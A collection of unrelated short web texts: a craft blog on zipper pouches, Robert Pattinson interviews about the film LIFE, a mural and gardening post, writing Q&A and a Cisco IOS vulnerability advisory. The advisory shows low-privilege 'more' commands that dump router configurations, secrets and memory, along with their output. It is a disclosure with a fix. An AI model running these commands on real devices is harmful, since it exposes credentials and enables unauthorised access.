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More Zipper Pouches

Im totally into making these pouches now.
I have this tendency to make the same thing
repeatedly when I come up with a pattern
that I truly love. And for now this zipper
pouch pattern has been my favorite and to
make tons more, Ive snagged 30 zippers from zipit.
(Thanks to Anna for introducing the awesome shop!)



This one was custom-made for my friend Susan.
I really enjoy making things for her because
I think I have a pretty good idea of what she
would like and I know I have a quite bit of
fabric inventory that she will probably like :D
I think this pouch turned out eclectic and fun.
I like how on both sides of the pouch, a bird
is facing toward food. Its like she is
determining whether its a good yummy piece
of food before going to grab it.



I didnt realize this until I finished making
the pouch but all the fabrics I used for this
pouch, including the lining, came from Japan!
These cute, little prints from Japan are
just perfect for this zipper pouch.




This one might look just like other pouches
Ive made but trust me, its a little different :D



I really like both pouches and cant
wait to sew up more of them!

Ill be back in a few days to share with
you some of amazing handmade gifts I
was lucky to receive in the past week ;)

Thank you for letting me share my
creations again. Have a great day ;)

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More Bedroom Updates

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More GW2 art

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More Reading on Martin Luther

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more messy pouches in the shop!

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More Lazy Haiku

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More New Rob Interviews From LIFE Promo ELLE Italy 3 Sat Online Szene Hamburg

3 Sat Online (Via)
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A talk with Robert Pattinson
During the Berlinale we met the actor, who talked about his new movie LIFE, bad fathers, and photography as art and frost bite on fingers.

What was it like to play a photographer under the direction of a legendary photographer like Anton Corbijn?
(laughs) Luckily I didn’t really see Dennis Stock as a photographer in the beginning. For me he was someone who wanted to be an artist but wasn’t sure if he had what it takes to be an artist. I had the feeling that the camera was a means for him to express himself.

How did you work with the camera? Did you only pose with it or did you really use it?
The great thing was that I got the camera a couple of months before we started shooting. It was loaned to us from the Leica museum and it’s the same camera Dennis Stock used. There aren’t many original old cameras left, but they are great and I used mine extensively.

What did you photograph?
I started doing the Werner Herzog film Queen of the Desert right after that and I couldn’t stop taking pictures of the location. I took hundreds of pics of the sets and Marrakesh. I didn’t really do it seriously or because of the movie, but more because it was fun. I figured I could ask Anton how to use the Leica correctly later, but he couldn’t really help me with that (laughs)

But he did show you some tricks, didn’t he? I mean he has to be the best teacher for that.
That’s what I thought, that he would show me how to hold the camera and move it, but Anton told me that I needed to understand the camera myself. Eventually I understood him because he is a different photographer than Dennis Stock was. Anton loves photography, he likes moving on the sidelines and observe everything as oppose to Dennis Stock, who acted more like a painter. Stock wasn’t only focused on his counterpart but also on himself and he was looking for validation. He didn’t really enjoy his role as a photographer because he wanted to be more extravagant.

Is that the reason you were interested in the role?
To be honest the first thing that interested me was that he was a bad father. Usually at my age there aren’t many father roles to play and in this one the father doesn’t love his kid and doesn’t understand why. There is this beautiful scene where James Dean is playing with his nephew and Stock is watching them and wracking his brains how Dean can be so natural and loving with a child. That broke my heart. Another thing is, that everybody thinks that someone like that is an asshole and I thought it was exciting to present him more likable despite of that. Contrary to that Dennis Stock’s pictures are full of feeling.
You can really see that, in his own way, he really loved James Dean. He couldn’t really tell him that but it seems like Stock put a crown on James with the pictures. At the same time bitterness and jealousy also shine through those pictures and one could also see the influence James had on him. I love Stock’s pictures from that era, the jazz musicians whose pictures showed how much he admired them. I think photography was a way for him to show his love for others.

Did the role change your view of photographers that follow you all the time?
Not really. Even if a photographer wanted to be paparazzi back then, it wouldn’t have been easy without a lot of knowledge and skills, especially trying to use the flash (laughs) Apart from that people like Dennis Stock had a different aspiration to photography. They were searching for a new imagery and they wanted to present people in a different light. They want them to vibrate and discover new sides of them and the reader’s wanted that as well. Today one doesn’t really need to do a lot to push the release and paparazzi are kind of trying to humiliate people. It’s as if they don’t really like what they are doing themselves and so they look for the bad things in others. I don’t really understand it and it’s annoying.

Is that really Anton Corbijn standing on the red carpet playing a photographer in the movie?
Yes, that’s him and he used more takes for his scene than any other in the movie (laughs) He would say ‘Oh I didn’t do that right’ and we shot until 10 am. It was crazy.

Is James Dean still important for young actors today? Is he still a role model?
I still remember when I was 16 and he was one of my idols. Everyone knows the picture on Times Square and he was the ideal model of understatement. When I started acting I was very timid and I didn’t want to overact. I wanted my acting to be more like his: calm and full of feelings that he was able to internalize.

Was there a James Dean scene for you in the movie?
Yes, especially where the staying calm is concerned (laughs) we shot the scenes on Dean’s farm in Toronto and it was -40 degrees and I really couldn’t understand how one can shoot outside in that cold. The camera froze to my fingers and I had to stand in front of a heater to get it off my fingers. We were really close to getting frostbite and I started to get annoyed, but then I was over that and I got really calm.

Robert Pattinson is back in cinemas on October 8 with the film Life , an Anton Corbijn’s movie dedicated to James Dean, movie legend who died exactly 60 years ago in a car accident . The actor who became famous as a vampire in Twilight , however, did not take the role of the legendary Jimmy (his shoes are filled by Dane DeHaan ), as widely expected, but those of photographer Dennis Stock , who in 1955 – that same year of the death the star – snapped a series of photographs for the magazine Life immortalizing James Dean as no one before him had done. Anton Corbijn is dedicating the whole movie to the trusting relationship that comes to life between the two: to speak in more detail of the film is own Robert Pattinson , in this exclusive interview given during the filming of the movie.

Dennis and James. A photographer on the brink of bankruptcy and an artist on the crest of a wave. Tell us about the dynamics of their friendship.
The story of these two has a very original dynamics. James Dean is a character so emphatic and Dennis, is not. There’s a moment that, for me, sums up this diversity. There’s this scene where James Dean is playing with his nephew, and Dennis just says, ‘I do not know how you can do it.‘ Basically he is saying ‘I do not understand what they’re feeling’. Dennis had a son, of course, but he does not love him and that’s just awful. He is constantly permeated by negativity, so full of anxiety, to the point that he becomes really irritating. You can hardly believe that these kinds of people exist, you can’t believe the fact that they say they are not able to love. He’s kind of a horrible being, but in his tragedy he’s also an extremely fascinating character. And as I said the dynamic between them is really interesting.

James Dean is a myth. Has he ever had an influence on your career?
I have long admired his work. I believe that a lot of 16 year old actors have had their ‘James Dean’ stage and for most of them, the important thing is not the role to play but being part of the fantasies derived from the myth – and I also have experienced one of the two phases. He is certainly still an icon but Dane (DeHaan) would be able to answer that question better than me because he is more tied to James Dean, his figure, the myth.

Would you have been interested in playing the part of James Dean?
Oh no, absolutely not (laughs) Dane did a great job.

How did it go with Anton Corbijn?
Working with Anton Corbijn has been a great honor and his first film Control (about the life of Ian Curtis, leader of Joy Division), was the reason why I decided just to accept the part. I loved that movie. I love the style of Anton and I knew that LIFE would have followed the same path.

And with the camera?
To practice at best, I took some pictures on the set of LIFE and of the other film that I was shooting The Queen of the Desert where I worked with Nicole Kidman. Then for a few months I took a number of wonderful, horrifying pictures with a Leica M1 of 1953. It wasn’t the personal one used by Dennis, but the same model. It must have been a model that came out some time before Stock’s. It’s beautiful, and it works perfectly. I think that will never break. ”

Who was Dennis Stock?
Dennis was always worried that everything could go wrong. He felt haunted by the possibility that the public would not follow him, that they wouldn’t be on his side. But at the same time, I thought he was a modern, contemporary character. The story is about someone trying to become an artist and the fear of not being able to achieve his dream is the saddest and demoralizing part of his life. Dennis is the kind of artist who is so afraid of not being good enough for his profession that he would use excuses for anything. When he sees Jimmy for the first time, it’s fun because he has precisely this undeniable effect. Being close to someone who is reaching their potential is a very nice process to witness. Relating to James Dean and everything that was happening to him allowed Dennis to believe a little more in himself too.

Do you believe then that James Dean had a positive influence on the photographer?
Absolutely yes. Sometimes you just need a little encouragement and the fact that Jimmy told him ‘These are great ” while he showed him the pictures he had taken of him was a huge source of pride. I think at that specific time Dean clearly showed and paved the way for Stock. He regarded Jimmy as a true artist who had a profound impact on his life. And so, when Jimmy gave his approval, well, that’s all you need sometimes – this is all it takes to start believing in yourself. And I think that’s what happened. For Dennis, the encounter with Jimmy was fundamental and has changed his life and certainly his work.”

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Mural More

Last week, I did a logo mural for an office here in Atlanta. You wouldnt think painting 8 dots would be very difficult, but figuring out the sizing and spacing wasnt the easiest thing to do.




I had to move them around a few times to get the scale and proportions right, but we were happy in the end!




This was in an office building in downtown Atlanta, and it was funny carrying my ladder and supplies around in the city.


This weekend, I got around to a little gardening in the front yard. I really like working in the yard. Picking out shrubs and annuals isnt easy, though! I planted some things last year, but obviously the small flowers have died, and its time to replant. I never planted any bushes in the front of the porch, so I decided it was time to do that.


I bought a ton of stuff at Lowes (but still have a lot of work to do)





I like these bright greenish yellow ones that I selected:



After I placed them. I removed these mint green pouf ball things that are cute (and were here when we moved in) and planted them on the side yard.


and after I planted them:



I also did the planters on the sides of the front doors:





and I bought this weird succulent/cactus thing that I ended up placing between the two adirondack chairs on our front porch on my mid-century modern rusty planter (found at Scotts Antique Market last spring for like $5)




I might move it to the back porch where it can be in a bigger planter and get more full time sun.



yes, our furniture is chained down. Haha. We live in the city! I should probably take that off at this point.

still need some pine straw, too!


Max and I sat in the sun in the backyard for a few minutes on Saturday, and I took this picture. So nice!




I also worked on a painting for the Atlanta Symphony Orchestra show house, where Im helping Chip Wade with the design in his outdoor space. I did this painting for the space:



its 6 feet tall! Gigantic. We actually got together last week and worked on it, doing the beginning stages of prep work, then I came back and finished it. It was a fun project, and I think its going to finish the space off nicely. I was over at the ASO Showhouse yesterday, and there are some gorgeous spaces... everyone should visit!

Alright, off to send some emails and then do some painting. Have a great Wednesday!

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More Fun And Easy Collage Paper Techniques

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More Cisco more vulnerability

Positive Research has discovered a vulnerability in Cisco devices. The vulnerability allows attackers to bypass certain access restrictions.
A possible security flaw was detected because of privileged command restrictions, in particular – "more" command that allows attackers to obtain router configuration stored in nvram, system (RAM), flash elements.
If more command access settings are configured as privilege exec level {number} more, opposed to commands like show, disk element access is propagated to all lower levels that could allow unauthorized users to obtain router memory and its elements nvram, system (RAM), flash.
Such problems are detected for IOS routers and switchers 12.2, 12.3, 12.4, 15.0.

Details

IOS 12.2, 12.3 limit access to configuration that can be obtained from system:running-config, but prevent reading directly from router memory (system:memory) to get the data, also reading from configuration and other files in router’s flash and nvram can is not limited.
IOS 12.4, 15.0 opposed to versions 12.2, 12.3, do not limit access from all router’s elements nvram, system (RAM), flash.
More details and how to fix are available here: http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCtk17827


Example 1. How to get configuration
Cisco 3550-12T (12.2(50)SE)
C3550 Software (C3550-IPSERVICESK9-M), Version 12.2(50)SE)


Device configuration:

!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname C3550
!
…
!
snmp-server community RO
!
control-plane
!
privilege exec level 8 access-template
privilege exec level 8 clear access-template
privilege exec level 8 clear
privilege exec level 3 more
privilege exec level 3 show
!
line con 0
line vty 5 15
!
end


"show" command (low level privileges):

C3550#show running-config
            ^
% Invalid input detected at ^ marker.

C3550#show startup-config
              ^
% Invalid input detected at ^ marker.


"more" command (low level privileges):

C3550#more flash:config.text
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname C3550
!
enable secret 5
!
username ptuser privilege 3 password 7
aaa new-model
…
!
snmp-server community RO
!
control-plane
!
privilege exec level 8 access-template
privilege exec level 8 clear access-template
privilege exec level 8 clear
privilege exec level 3 more
privilege exec level 3 show
!
line con 0
line vty 5 15
!
end


So in spite the fact that device configuration access via show command is restricted, an attacker can get the configuration via "more" command.

Example 2


C3550#more nvram:startup-config
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname C3550
!
enable secret 5
!
username ptuser privilege 3 password 7
aaa new-model
…
!
snmp-server community RO
!
control-plane
!
privilege exec level 8 access-template
privilege exec level 8 clear access-template
privilege exec level 8 clear
privilege exec level 3 more
privilege exec level 3 show
!
line con 0
line vty 5 15
!
end



C3550#more system:?
system:default-running-config  system:memory  system:running-config
system:vfiles
C3550#more system:running-config
00000000:  0A210A21 0A210A21 0A210A21 0A656E64    .!.! .!.! .!.! .end
00000010:  0AXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX    .XXX XXXX XXXX XXXX

Example 3. Device memory

An attacker can read Cisco device memory, get history and configurations via «more system:memory/main» command.

Commands history (including passwords)

How to get configuration via memory

HTF

Install the version that is not vulnerable.

Details are available here: http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCtk17827

Vulnerability discovered by: Sergey Pavlov, Roman Ilin (Positive Research Center)

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More mucking around with the Google Nexus

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More Groovy Sugar

• A null reference
• An empty or null string
• The number zero
• A regex Matcher that doesnt match

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More Eye Candy from the Pacific Northwest

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More Quick Answers

When I submit a manuscript to an editor, is it a good idea to include my (childrens book related) blog with my contact information? Is this something an editor would be interested in?

My agent is pitching my YA novel. Controversial subject. (But not chick lit or about vampires in any form.) I have received a few thoughtful, longish rejections, each with faint or nice praise. I agree with the critiques and am doing some revision. Is it best to wait for more comments or do significant revision now?

Ive received a fair number of "good" rejections from editors over the years with favorable comments in spite of the rejections. Several editors have invited me to submit other work. I have continued to submit work to them (picture books) as well as other open houses. The difficult spot I find myself in now is that I am considering trying to get an agent to open doors to closed houses. However, as I have already submitted some of my manuscripts to numerous publishers, Im afraid that I have, in a sense, tied an agents hands when representing my work. Should I give up on the idea of finding agent representation for some of these manuscripts or should I wait until I have something new that has not yet been submitted?

I am writing my first YA novel; extremely to succeed. I have all these thoughts in my head and sometimes find it challenging expressing them, not only because writing genuinely is hard, but because Spanish is my native language. I just purchased two books on writing YA and quit my job to finish my novel. I know, my mother-in-law said I was crazy. Then again, "nothing ventured, nothing gained". What does it take to be a great writer? What advice you would give to someone really willing to follow it? A million thank yous from Puerto Rico.

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More Five Minute Paintings

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